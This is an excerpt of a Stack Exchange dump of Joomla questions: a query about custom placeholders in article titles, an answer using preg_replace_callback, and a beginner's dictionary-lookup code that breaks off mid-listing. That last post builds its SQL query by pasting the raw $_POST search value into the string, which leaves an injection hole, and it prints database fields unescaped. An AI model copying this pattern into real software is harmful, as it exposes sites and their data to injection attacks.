  <row Id="31751" PostTypeId="1" CreationDate="2021-12-15T15:22:54.410" Score="1" ViewCount="167" Body="&lt;p&gt;I'm using Joomla 3.9 and had someone previously code in the ability to use the Joomla article title as the &lt;code&gt;&amp;lt;title&amp;gt;&lt;/code&gt; tags ( browser title )&lt;/p&gt;&#xA;&lt;p&gt;This works well using a current placeholder, for example the title of the Joomla article reads &amp;quot; &lt;code&gt;{%country_name%}&lt;/code&gt; cheap vacations &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;The article is sort of a template for these pages....&lt;/p&gt;&#xA;&lt;p&gt;I've now added a new placeholder called &lt;code&gt;{%placeholder_nicktitle%}&lt;/code&gt; - it's using the Joomla language override.&lt;/p&gt;&#xA;&lt;p&gt;This is the code I used to create the placeholder&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$placeholder_nicktitle = JText::_('titlenick_'.strtoupper(str_replace('-','_',$var['country'])));&#xA;    if($placeholder_nicktitle === 'titlenick_'.strtoupper(str_replace('-','_',$var['country'])) || !$placeholder_nicktitle) $placeholder_nicktitle = '';&#xA;&#xA;&#xA;&#xA;     $article-&amp;gt;text = JString::str_ireplace(&amp;quot;{%placeholder_nicktitle%}&amp;quot;, $placeholder_nicktitle, $article-&amp;gt;text);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now, when I use the placeholder &lt;code&gt;{%placeholder_nicktitle%}&lt;/code&gt; in the article body, it shows up fine on the page.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;The Question&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;When I add the placeholder in the title ,for example &amp;quot;&lt;code&gt;{%placeholder_nicktitle%}&lt;/code&gt; cheap vacations&amp;quot; it doesnt work . (You'll literally see the text &lt;code&gt;{%placeholder_nicktitle%}&lt;/code&gt; in the browser/page title ). The placeholder &lt;code&gt;{%country_name%}&lt;/code&gt; works fine in joomla article title.&lt;/p&gt;&#xA;&lt;p&gt;I'm assuming I need to code something into the Joomla core or article tmpl so it understands the new placeholder?&lt;/p&gt;&#xA;&lt;p&gt;My &lt;code&gt;view.html.php&lt;/code&gt; page found in &lt;code&gt;/components/com_content/views/article&lt;/code&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * @package     Joomla.Site&#xA; * @subpackage  com_content&#xA; *&#xA; * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.&#xA; * @license     GNU General Public License version 2 or later; see LICENSE.txt&#xA; */&#xA;&#xA;defined('_JEXEC') or die;&#xA;&#xA;/**&#xA; * HTML Article View class for the Content component&#xA; *&#xA; * @since  1.5&#xA; */&#xA;class ContentViewArticle extends JViewLegacy&#xA;{&#xA;    protected $item;&#xA;&#xA;    protected $params;&#xA;&#xA;    protected $print;&#xA;&#xA;    protected $state;&#xA;&#xA;    protected $user;&#xA;&#xA;    /**&#xA;     * Execute and display a template script.&#xA;     *&#xA;     * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.&#xA;     *&#xA;     * @return  mixed  A string if successful, otherwise an Error object.&#xA;     */&#xA;    public function display($tpl = null)&#xA;    {&#xA;        $app        = JFactory::getApplication();&#xA;        $user       = JFactory::getUser();&#xA;        $dispatcher = JEventDispatcher::getInstance();&#xA;&#xA;        $this-&amp;gt;item  = $this-&amp;gt;get('Item');&#xA;        $this-&amp;gt;print = $app-&amp;gt;input-&amp;gt;getBool('print');&#xA;        $this-&amp;gt;state = $this-&amp;gt;get('State');&#xA;        $this-&amp;gt;user  = $user;&#xA;&#xA;        // Check for errors.&#xA;        if (count($errors = $this-&amp;gt;get('Errors')))&#xA;        {&#xA;            JError::raiseWarning(500, implode(&amp;quot;\n&amp;quot;, $errors));&#xA;&#xA;            return false;&#xA;        }&#xA;&#xA;        // Create a shortcut for $item.&#xA;        $item            = $this-&amp;gt;item;&#xA;        $item-&amp;gt;tagLayout = new JLayoutFile('joomla.content.tags');&#xA;&#xA;        // Add router helpers.&#xA;        $item-&amp;gt;slug        = $item-&amp;gt;alias ? ($item-&amp;gt;id . ':' . $item-&amp;gt;alias) : $item-&amp;gt;id;&#xA;        $item-&amp;gt;catslug     = $item-&amp;gt;category_alias ? ($item-&amp;gt;catid . ':' . $item-&amp;gt;category_alias) : $item-&amp;gt;catid;&#xA;        $item-&amp;gt;parent_slug = $item-&amp;gt;parent_alias ? ($item-&amp;gt;parent_id . ':' . $item-&amp;gt;parent_alias) : $item-&amp;gt;parent_id;&#xA;&#xA;        // No link for ROOT category&#xA;        if ($item-&amp;gt;parent_alias === 'root')&#xA;        {&#xA;            $item-&amp;gt;parent_slug = null;&#xA;        }&#xA;&#xA;        // TODO: Change based on shownoauth&#xA;        $item-&amp;gt;readmore_link = JRoute::_(ContentHelperRoute::getArticleRoute($item-&amp;gt;slug, $item-&amp;gt;catid, $item-&amp;gt;language));&#xA;&#xA;        // Merge article params. If this is single-article view, menu params override article params&#xA;        // Otherwise, article params override menu item params&#xA;        $this-&amp;gt;params = $this-&amp;gt;state-&amp;gt;get('params');&#xA;        $active       = $app-&amp;gt;getMenu()-&amp;gt;getActive();&#xA;        $temp         = clone $this-&amp;gt;params;&#xA;&#xA;        // Check to see which parameters should take priority&#xA;        if ($active)&#xA;        {&#xA;            $currentLink = $active-&amp;gt;link;&#xA;&#xA;            // If the current view is the active item and an article view for this article, then the menu item params take priority&#xA;            if (strpos($currentLink, 'view=article') &amp;amp;&amp;amp; strpos($currentLink, '&amp;amp;id=' . (string) $item-&amp;gt;id))&#xA;            {&#xA;                // Load layout from active query (in case it is an alternative menu item)&#xA;                if (isset($active-&amp;gt;query['layout']))&#xA;                {&#xA;                    $this-&amp;gt;setLayout($active-&amp;gt;query['layout']);&#xA;                }&#xA;                // Check for alternative layout of article&#xA;                elseif ($layout = $item-&amp;gt;params-&amp;gt;get('article_layout'))&#xA;                {&#xA;                    $this-&amp;gt;setLayout($layout);&#xA;                }&#xA;&#xA;                // $item-&amp;gt;params are the article params, $temp are the menu item params&#xA;                // Merge so that the menu item params take priority&#xA;                $item-&amp;gt;params-&amp;gt;merge($temp);&#xA;            }&#xA;            else&#xA;            {&#xA;                // Current view is not a single article, so the article params take priority here&#xA;                // Merge the menu item params with the article params so that the article params take priority&#xA;                $temp-&amp;gt;merge($item-&amp;gt;params);&#xA;                $item-&amp;gt;params = $temp;&#xA;&#xA;                // Check for alternative layouts (since we are not in a single-article menu item)&#xA;                // Single-article menu item layout takes priority over alt layout for an article&#xA;                if ($layout = $item-&amp;gt;params-&amp;gt;get('article_layout'))&#xA;                {&#xA;                    $this-&amp;gt;setLayout($layout);&#xA;                }&#xA;            }&#xA;        }&#xA;        else&#xA;        {&#xA;            // Merge so that article params take priority&#xA;            $temp-&amp;gt;merge($item-&amp;gt;params);&#xA;            $item-&amp;gt;params = $temp;&#xA;&#xA;            // Check for alternative layouts (since we are not in a single-article menu item)&#xA;            // Single-article menu item layout takes priority over alt layout for an article&#xA;            if ($layout = $item-&amp;gt;params-&amp;gt;get('article_layout'))&#xA;            {&#xA;                $this-&amp;gt;setLayout($layout);&#xA;            }&#xA;        }&#xA;&#xA;        $offset = $this-&amp;gt;state-&amp;gt;get('list.offset');&#xA;&#xA;        // Check the view access to the article (the model has already computed the values).&#xA;        if ($item-&amp;gt;params-&amp;gt;get('access-view') == false &amp;amp;&amp;amp; ($item-&amp;gt;params-&amp;gt;get('show_noauth', '0') == '0'))&#xA;        {&#xA;            $app-&amp;gt;enqueueMessage(JText::_('JERROR_ALERTNOAUTHOR'), 'error');&#xA;            $app-&amp;gt;setHeader('status', 403, true);&#xA;&#xA;            return;&#xA;        }&#xA;&#xA;        /**&#xA;         * Check for no 'access-view' and empty fulltext,&#xA;         * - Redirect guest users to login&#xA;         * - Deny access to logged users with 403 code&#xA;         * NOTE: we do not recheck for no access-view + show_noauth disabled ... since it was checked above&#xA;         */&#xA;        if ($item-&amp;gt;params-&amp;gt;get('access-view') == false &amp;amp;&amp;amp; !strlen($item-&amp;gt;fulltext))&#xA;        {&#xA;            if ($this-&amp;gt;user-&amp;gt;get('guest'))&#xA;            {&#xA;                $return = base64_encode(JUri::getInstance());&#xA;                $login_url_with_return = JRoute::_('index.php?option=com_users&amp;amp;view=login&amp;amp;return=' . $return);&#xA;                $app-&amp;gt;enqueueMessage(JText::_('JERROR_ALERTNOAUTHOR'), 'notice');&#xA;                $app-&amp;gt;redirect($login_url_with_return, 403);&#xA;            }&#xA;            else&#xA;            {&#xA;                $app-&amp;gt;enqueueMessage(JText::_('JERROR_ALERTNOAUTHOR'), 'error');&#xA;                $app-&amp;gt;setHeader('status', 403, true);&#xA;&#xA;                return;&#xA;            }&#xA;        }&#xA;&#xA;        /**&#xA;         * NOTE: The following code (usually) sets the text to contain the fulltext, but it is the&#xA;         * responsibility of the layout to check 'access-view' and only use &amp;quot;introtext&amp;quot; for guests&#xA;         */&#xA;        if ($item-&amp;gt;params-&amp;gt;get('show_intro', '1') == '1')&#xA;        {&#xA;            $item-&amp;gt;text = $item-&amp;gt;introtext . ' ' . $item-&amp;gt;fulltext;&#xA;        }&#xA;        elseif ($item-&amp;gt;fulltext)&#xA;        {&#xA;            $item-&amp;gt;text = $item-&amp;gt;fulltext;&#xA;        }&#xA;        else&#xA;        {&#xA;            $item-&amp;gt;text = $item-&amp;gt;introtext;&#xA;        }&#xA;&#xA;        $item-&amp;gt;tags = new JHelperTags;&#xA;        $item-&amp;gt;tags-&amp;gt;getItemTags('com_content.article', $this-&amp;gt;item-&amp;gt;id);&#xA;&#xA;        if ($item-&amp;gt;params-&amp;gt;get('show_associations'))&#xA;        {&#xA;            $item-&amp;gt;associations = ContentHelperAssociation::displayAssociations($item-&amp;gt;id);&#xA;        }&#xA;&#xA;        // Process the content plugins.&#xA;        JPluginHelper::importPlugin('content');&#xA;        $dispatcher-&amp;gt;trigger('onContentPrepare', array ('com_content.article', &amp;amp;$item, &amp;amp;$item-&amp;gt;params, $offset));&#xA;&#xA;        $item-&amp;gt;event = new stdClass;&#xA;        $results = $dispatcher-&amp;gt;trigger('onContentAfterTitle', array('com_content.article', &amp;amp;$item, &amp;amp;$item-&amp;gt;params, $offset));&#xA;        $item-&amp;gt;event-&amp;gt;afterDisplayTitle = trim(implode(&amp;quot;\n&amp;quot;, $results));&#xA;&#xA;        $results = $dispatcher-&amp;gt;trigger('onContentBeforeDisplay', array('com_content.article', &amp;amp;$item, &amp;amp;$item-&amp;gt;params, $offset));&#xA;        $item-&amp;gt;event-&amp;gt;beforeDisplayContent = trim(implode(&amp;quot;\n&amp;quot;, $results));&#xA;&#xA;        $results = $dispatcher-&amp;gt;trigger('onContentAfterDisplay', array('com_content.article', &amp;amp;$item, &amp;amp;$item-&amp;gt;params, $offset));&#xA;        $item-&amp;gt;event-&amp;gt;afterDisplayContent = trim(implode(&amp;quot;\n&amp;quot;, $results));&#xA;&#xA;        // Escape strings for HTML output&#xA;        $this-&amp;gt;pageclass_sfx = htmlspecialchars($this-&amp;gt;item-&amp;gt;params-&amp;gt;get('pageclass_sfx'));&#xA;&#xA;        $this-&amp;gt;_prepareDocument();&#xA;&#xA;        parent::display($tpl);&#xA;    }&#xA;&#xA;    /**&#xA;     * Prepares the document.&#xA;     *&#xA;     * @return  void&#xA;     */&#xA;    protected function _prepareDocument()&#xA;    {&#xA;        $app     = JFactory::getApplication();&#xA;        $menus   = $app-&amp;gt;getMenu();&#xA;        $pathway = $app-&amp;gt;getPathway();&#xA;        $title   = null;&#xA;&#xA;        /**&#xA;         * Because the application sets a default page title,&#xA;         * we need to get it from the menu item itself&#xA;         */&#xA;        $menu = $menus-&amp;gt;getActive();&#xA;&#xA;        if ($menu)&#xA;        {&#xA;            $this-&amp;gt;params-&amp;gt;def('page_heading', $this-&amp;gt;params-&amp;gt;get('page_title', $menu-&amp;gt;title));&#xA;        }&#xA;        else&#xA;        {&#xA;            $this-&amp;gt;params-&amp;gt;def('page_heading', JText::_('JGLOBAL_ARTICLES'));&#xA;        }&#xA;&#xA;        $title = $this-&amp;gt;params-&amp;gt;get('page_title', '');&#xA;&#xA;        $id = (int) @$menu-&amp;gt;query['id'];&#xA;&#xA;        // If the menu item does not concern this article&#xA;        if ($menu &amp;amp;&amp;amp; (!isset($menu-&amp;gt;query['option']) || $menu-&amp;gt;query['option'] !== 'com_content' || $menu-&amp;gt;query['view'] !== 'article'&#xA;            || $id != $this-&amp;gt;item-&amp;gt;id))&#xA;        {&#xA;            // If a browser page title is defined, use that, then fall back to the article title if set, then fall back to the page_title option&#xA;            $title = $this-&amp;gt;item-&amp;gt;params-&amp;gt;get('article_page_title', $this-&amp;gt;item-&amp;gt;title ?: $title);&#xA;&#xA;            $path     = array(array('title' =&amp;gt; $this-&amp;gt;item-&amp;gt;title, 'link' =&amp;gt; ''));&#xA;            $category = JCategories::getInstance('Content')-&amp;gt;get($this-&amp;gt;item-&amp;gt;catid);&#xA;&#xA;            while ($category &amp;amp;&amp;amp; (!isset($menu-&amp;gt;query['option']) || $menu-&amp;gt;query['option'] !== 'com_content' || $menu-&amp;gt;query['view'] === 'article'&#xA;                || $id != $category-&amp;gt;id) &amp;amp;&amp;amp; $category-&amp;gt;id &amp;gt; 1)&#xA;            {&#xA;                $path[]   = array('title' =&amp;gt; $category-&amp;gt;title, 'link' =&amp;gt; ContentHelperRoute::getCategoryRoute($category-&amp;gt;id));&#xA;                $category = $category-&amp;gt;getParent();&#xA;            }&#xA;&#xA;            $path = array_reverse($path);&#xA;&#xA;            foreach ($path as $item)&#xA;            {&#xA;                $pathway-&amp;gt;addItem($item['title'], $item['link']);&#xA;            }&#xA;        }&#xA;&#xA;        // Check for empty title and add site name if param is set&#xA;        if (empty($title))&#xA;        {&#xA;            $title = $app-&amp;gt;get('sitename');&#xA;        }&#xA;        elseif ($app-&amp;gt;get('sitename_pagetitles', 0) == 1)&#xA;        {&#xA;            $title = JText::sprintf('JPAGETITLE', $app-&amp;gt;get('sitename'), $title);&#xA;        }&#xA;        elseif ($app-&amp;gt;get('sitename_pagetitles', 0) == 2)&#xA;        {&#xA;            $title = JText::sprintf('JPAGETITLE', $title, $app-&amp;gt;get('sitename'));&#xA;        }&#xA;&#xA;        if (empty($title))&#xA;        {&#xA;            $title = $this-&amp;gt;item-&amp;gt;title;&#xA;        }&#xA;&#xA;        $this-&amp;gt;document-&amp;gt;setTitle($title);&#xA;&#xA;        if ($this-&amp;gt;item-&amp;gt;metadesc)&#xA;        {&#xA;            $this-&amp;gt;document-&amp;gt;setDescription($this-&amp;gt;item-&amp;gt;metadesc);&#xA;        }&#xA;        elseif ($this-&amp;gt;params-&amp;gt;get('menu-meta_description'))&#xA;        {&#xA;            $this-&amp;gt;document-&amp;gt;setDescription($this-&amp;gt;params-&amp;gt;get('menu-meta_description'));&#xA;        }&#xA;&#xA;        if ($this-&amp;gt;item-&amp;gt;metakey)&#xA;        {&#xA;            $this-&amp;gt;document-&amp;gt;setMetadata('keywords', $this-&amp;gt;item-&amp;gt;metakey);&#xA;        }&#xA;        elseif ($this-&amp;gt;params-&amp;gt;get('menu-meta_keywords'))&#xA;        {&#xA;            $this-&amp;gt;document-&amp;gt;setMetadata('keywords', $this-&amp;gt;params-&amp;gt;get('menu-meta_keywords'));&#xA;        }&#xA;&#xA;        if ($this-&amp;gt;params-&amp;gt;get('robots'))&#xA;        {&#xA;            $this-&amp;gt;document-&amp;gt;setMetadata('robots', $this-&amp;gt;params-&amp;gt;get('robots'));&#xA;        }&#xA;&#xA;        if ($app-&amp;gt;get('MetaAuthor') == '1')&#xA;        {&#xA;            $author = $this-&amp;gt;item-&amp;gt;created_by_alias ?: $this-&amp;gt;item-&amp;gt;author;&#xA;            $this-&amp;gt;document-&amp;gt;setMetaData('author', $author);&#xA;        }&#xA;&#xA;        $mdata = $this-&amp;gt;item-&amp;gt;metadata-&amp;gt;toArray();&#xA;&#xA;        foreach ($mdata as $k =&amp;gt; $v)&#xA;        {&#xA;            if ($v)&#xA;            {&#xA;                $this-&amp;gt;document-&amp;gt;setMetadata($k, $v);&#xA;            }&#xA;        }&#xA;&#xA;        // If there is a pagebreak heading or title, add it to the page title&#xA;        if (!empty($this-&amp;gt;item-&amp;gt;page_title))&#xA;        {&#xA;            $this-&amp;gt;item-&amp;gt;title = $this-&amp;gt;item-&amp;gt;title . ' - ' . $this-&amp;gt;item-&amp;gt;page_title;&#xA;            $this-&amp;gt;document-&amp;gt;setTitle(&#xA;                $this-&amp;gt;item-&amp;gt;page_title . ' - ' . JText::sprintf('PLG_CONTENT_PAGEBREAK_PAGE_NUM', $this-&amp;gt;state-&amp;gt;get('list.offset') + 1)&#xA;            );&#xA;        }&#xA;&#xA;        if ($this-&amp;gt;print)&#xA;        {&#xA;            $this-&amp;gt;document-&amp;gt;setMetaData('robots', 'noindex, nofollow');&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I also read the solution may be in the &lt;code&gt;default.php&lt;/code&gt; template file found in &lt;code&gt;templates/yoo_avion/html/com_content/article&lt;/code&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;&#xA;// include config and layout&#xA;$base = dirname(dirname(dirname(__FILE__)));&#xA;include($base.'/config.php');&#xA;include($warp['path']-&amp;gt;path('layouts:'.preg_replace('/'.preg_quote($base, '/').'/', '', __FILE__, 1)));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;templates/yoo_avion/html/plg_mvcoverride/com_acme/view.html.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I was thinking perhaps my placeholder needs to be added here somehow?&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    function setTitle($title, $params=NULL)&#xA;{&#xA;&#xA;    JFactory::getLanguage()-&amp;gt;load('com_acme.keywords');&#xA;    JFactory::getLanguage()-&amp;gt;load('com_acme.description');&#xA;&#xA;    $document = JFactory::getDocument();&#xA;&#xA;    $keywords = JText::_(JString::str_ireplace('TITLE_COVERAGE', 'KEY_COVERAGE', $title));&#xA;    $description = JText::_(JString::str_ireplace('TITLE_COVERAGE', 'DESC_COVERAGE', $title));&#xA;&#xA;     $title=JText::_($title);&#xA;&#xA;    $placeHolders = array(&#xA;        'country' =&amp;gt; $this-&amp;gt;requestCountry ? $this-&amp;gt;country-&amp;gt;country_name : NULL,&#xA;        'city' =&amp;gt; $this-&amp;gt;requestCity ? $this-&amp;gt;city-&amp;gt;city_name : NULL,&#xA;    );&#xA;&#xA;    $search = array();&#xA;    $replace = array();&#xA;&#xA;    foreach($placeHolders as $placeHolder =&amp;gt; $text)&#xA;        if($text){&#xA;            array_push($search, '{%'.$placeHolder.'%}');&#xA;            array_push($replace, $text);&#xA;        }&#xA;&#xA;    $keywords = $document-&amp;gt;getMetadata('keywords').$keywords;&#xA;    $description = $document-&amp;gt;getMetadata('description').$description;&#xA;&#xA;    $document-&amp;gt;setTitle(JString::str_ireplace($search, $replace, $title));&#xA;&#xA;    $document-&amp;gt;setMetadata('keywords', JString::str_ireplace($search, $replace, $keywords));&#xA;    $document-&amp;gt;setMetadata('description', JString::str_ireplace($search, $replace, $description));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14543" LastEditorUserId="14543" LastEditDate="2021-12-17T15:38:57.723" LastActivityDate="2021-12-17T15:38:57.723" Title="Use a placeholder in the Joomla Article title" Tags="|joomla-3.x|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31752" PostTypeId="2" ParentId="20872" CreationDate="2021-12-15T23:43:52.767" Score="1" Body="&lt;p&gt;I don't quite have complete clarity about what is optional and what is required in your article placeholders, but this whole task can be contained within a single &lt;code&gt;preg_replace_callback()&lt;/code&gt; call.&lt;/p&gt;&#xA;&lt;p&gt;The pattern that I have build will require the first argument (&lt;code&gt;catid&lt;/code&gt;) in the placeholder; the additional two arguments will be optional, and the second argument (&lt;code&gt;charset&lt;/code&gt;) is omittable when only the third argument (&lt;code&gt;number&lt;/code&gt;) is given.&lt;/p&gt;&#xA;&lt;p&gt;The pattern requires the first argument to be an integer, the second argument must be letters only, and the third argument must be an integer.  If your requirements differ from these rules, it will be trivial to adjust.&lt;/p&gt;&#xA;&lt;p&gt;Code: (&lt;a href=&quot;https://3v4l.org/7mDqd&quot; rel=&quot;nofollow noreferrer&quot;&gt;Demo with 5 different sample article texts&lt;/a&gt;)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$articles = [&#xA;    (object)['text' =&amp;gt; 'Some text {reillorama:5/dots/1} some text {reillorama:12/foo}'],&#xA;    (object)['text' =&amp;gt; 'Only text with no placeholders'],&#xA;    (object)['text' =&amp;gt; 'Some text {reillorama:33} some text {reillorama:1/bar} some text'],&#xA;    (object)['text' =&amp;gt; 'Some text {reillorama:5/word} some text {reillorama:2} some text {reillorama:555555/noSpacesInWord/7777777}'],&#xA;    (object)['text' =&amp;gt; 'The pattern also allows the middle parameter to be omitted {reillorama:6/7}'],&#xA;];&#xA;&#xA;$firstLookup = [5 =&amp;gt; 'five', 12 =&amp;gt; 'twelve', 1 =&amp;gt; 'one', 2 =&amp;gt; 'two'];&#xA;$secondLookup = ['foo' =&amp;gt; 'fighters', 'bar' =&amp;gt; 'none', 'word' =&amp;gt; 'up', 'noSpacesInWord' =&amp;gt; 'replacement'];&#xA;$thirdLookup = [1 =&amp;gt; 'another one', 7 =&amp;gt; 'seven'];&#xA;&#xA;foreach ($articles as $article) {&#xA;    $article-&amp;gt;text = preg_replace_callback(&#xA;        '~{reillorama:(\d+)(?:/([a-z]+))?(?:/(\d+))?}~i',&#xA;        function($m) use ($firstLookup, $secondLookup, $thirdLookup) {&#xA;            return '**'&#xA;                . ($firstLookup[$m[1]] ?? '[first not found]')&#xA;                . ($m[2] === null ? '' : (isset($secondLookup[$m[2]]) ? $secondLookup[$m[2]] : '[second not found]'))&#xA;                . ($m[3] === null ? '' : (isset($thirdLookup[$m[3]]) ? $thirdLookup[$m[3]] : '[third not found]'))&#xA;                . '**';&#xA;            //var_export($m);  if you want to see what is in the matches array&#xA;        },&#xA;        $article-&amp;gt;text,&#xA;        -1,&#xA;        $count,&#xA;        PREG_UNMATCHED_AS_NULL&#xA;    );&#xA;    echo &amp;quot;{$article-&amp;gt;text}\n---\n&amp;quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Output:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Some text **five[second not found]another one** some text **twelvefighters**&#xA;---&#xA;Only text with no placeholders&#xA;---&#xA;Some text **[first not found]** some text **onenone** some text&#xA;---&#xA;Some text **fiveup** some text **two** some text **[first not found]replacement[third not found]**&#xA;---&#xA;The pattern also allows the middle parameter to be omitted **[first not found]seven**&#xA;---&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Of course, when you implement this snippet in your application, you won't need the &lt;code&gt;foreach()&lt;/code&gt; and you can simply &lt;code&gt;return preg_replace_callback(...&lt;/code&gt; instead of overwriting the &lt;code&gt;$article-text&lt;/code&gt; variable.&lt;/p&gt;&#xA;&lt;p&gt;If you need a hand with tailoring this solution to your actual needs, I can assist with that.&lt;/p&gt;&#xA;&lt;p&gt;I suppose your custom function within &lt;code&gt;preg_replace_callback()&lt;/code&gt; might look a little like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;function($m) use ($path) {&#xA;    $image = new images();&#xA;    $image-&amp;gt;categoryid = $m[1];&#xA;    $allimages = $image-&amp;gt;getImages();&#xA;&#xA;    // I don't have any clue what you'd like to do with $m[2] and $m[3].&#xA;&#xA;    ob_start();&#xA;    include $path;&#xA;    return ob_get_clean();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2021-12-15T23:43:52.767" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31753" PostTypeId="1" CreationDate="2021-12-16T09:51:39.403" Score="1" ViewCount="71" Body="&lt;p&gt;I am trying to find a way to implement either a self written module in Joomla with PHP code of an dictionary or try to use the dictionary by putting the PHP code in a joomla article with sourcerer plugin. I am really new in Joomla and PHP. Could someone help?&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;How could I add a Javascript Code in order to get an AutoSuggest Function as a dropdown list to get suggestions for words when I start typing?&lt;/li&gt;&#xA;&lt;li&gt;How to get this code into Joola files and install it as module?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;I am trying this since days and can't go further. Here is the code which I wrote until now:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;{source}&#xA;&#xA;&#xA;Dictionary&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;meta name=&amp;quot;viewport&amp;quot; content=&amp;quot;width=device-width, initial-scale=1&amp;quot;&amp;gt;&#xA;&#xA;&amp;lt;style&amp;gt;&#xA;body {&#xA;font-family: Arial;&#xA;}&#xA;&#xA;* {&#xA;box-sizing: border-box;&#xA;}&#xA;&#xA;form.example input[type=text]  {&#xA;padding: 10px;&#xA;font-size: 17px;&#xA;border: 1px solid grey;&#xA;float: left;&#xA;width: 80%;&#xA;background: #f1f1f1;&#xA;&#xA;border-radius: 4px;&#xA;}&#xA;&#xA;form.example button {&#xA;&#xA;border-radius: 4px;&#xA;float: left;&#xA;width: 20%;&#xA;padding: 3.6px;&#xA;background: #17558c&#xA;;&#xA;color: white;&#xA;font-size: 17px;&#xA;border: 1px solid grey;&#xA;border-left: none;&#xA;cursor: pointer;&#xA;}&#xA;&#xA;form.example button:hover {&#xA;background: #0b7dda;&#xA;}&#xA;&#xA;form.example::after {&#xA;content: &amp;quot;&amp;quot;;&#xA;clear: both;&#xA;display: table;&#xA;}     &#xA;&#xA;body {&#xA;}&#xA;&#xA;$brand-primary: #09c;&#xA;$brand-gray: #ccc;&#xA;&#xA;.menubar {&#xA;height: 230px;&#xA;width: 100%;&#xA;border: 1px solid $brand-gray;&#xA;}     &#xA;&#xA;.panel {&#xA;border-radius: 6px;&#xA;box-shadow: none;&#xA;background-color: $brand-primary;&#xA;}&#xA;&#xA;.panel .panel-heading {&#xA;padding: 1px 12px;&#xA;}&#xA;&#xA;.panel .panel-body {&#xA;background-color: white;&#xA;border-radius: 6px;&#xA;margin: 0px 6px 6px 6px;&#xA;min-height: 200px;&#xA;}&#xA;&#xA;p.ex1 {&#xA;padding-left: 10px;&#xA;}&#xA;&#xA;p.ex2 {&#xA;padding-left: 20px;&#xA;}&#xA;&#xA;&amp;lt;/style&amp;gt;&#xA;&#xA;&#xA;&amp;lt;/head&amp;gt;&#xA;&amp;lt;body&amp;gt;&#xA;&#xA;&amp;lt;form class=&amp;quot;example&amp;quot;  style=&amp;quot;margin:auto;max-width:300px&amp;quot; method = &amp;quot;post&amp;quot;&amp;gt;&#xA;&#xA;&amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;search&amp;quot; placeholder=&amp;quot;Search&amp;quot; &amp;gt;&#xA;&#xA;   &amp;lt;button type=&amp;quot;submit&amp;quot; name=&amp;quot;submit&amp;quot;&amp;gt;&amp;lt;i class=&amp;quot;fa fa-search&amp;quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/button&amp;gt;&#xA;&#xA;&amp;lt;/form&amp;gt;&#xA;&#xA;&amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;&#xA;&#xA;$con = new PDO(&amp;quot;mysql:testhosting;dbname=testdb&amp;quot;,'testuser','testpassword');&#xA;&#xA;&#xA;if (isset($_POST[&amp;quot;submit&amp;quot;])) {&#xA;$str = $_POST[&amp;quot;search&amp;quot;];&#xA;$sth = $con-&amp;gt;prepare(&amp;quot;SELECT * FROM `dictionary` WHERE wort = '$str'&amp;quot;);&#xA;&#xA;$sth-&amp;gt;setFetchMode(PDO:: FETCH_OBJ);&#xA;$sth -&amp;gt; execute();&#xA;&#xA;if($row = $sth-&amp;gt;fetch())&#xA;{&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;br&amp;gt; &amp;lt;br&amp;gt;   &#xA;&#xA;&amp;lt;div class=&amp;quot;container&amp;quot;&amp;gt; &#xA;&amp;lt;div class=&amp;quot;panel panel-primary&amp;quot;&amp;gt; &#xA;&#xA;&amp;lt;div class=&amp;quot;panel-heading&amp;quot;&amp;gt;&amp;lt;h4&amp;gt;&amp;lt;b&amp;gt;&amp;lt;?php echo $row-&amp;gt;wort;?&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;/h4&amp;gt; &#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;div class=&amp;quot;panel-body&amp;quot;&amp;gt;&amp;lt;h5&amp;gt;&amp;lt;b&amp;gt;&amp;lt;i&amp;gt;&amp;lt;?php echo $row-&amp;gt;form2;?&amp;gt;&#xA;&#xA;&amp;lt;?php echo $row-&amp;gt;form3;?&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;/h5&amp;gt;&amp;lt;/p&amp;gt; &#xA;&#xA;&amp;lt;?php echo $row-&amp;gt;uebersetz1;?&amp;gt;&#xA;&#xA;&amp;lt;?php echo $row-&amp;gt;uebersetz2;?&amp;gt;&#xA;&#xA;&amp;lt;?php echo $row-&amp;gt;uebersetz3;?&amp;gt;&#xA;&#xA;&amp;lt;?php echo 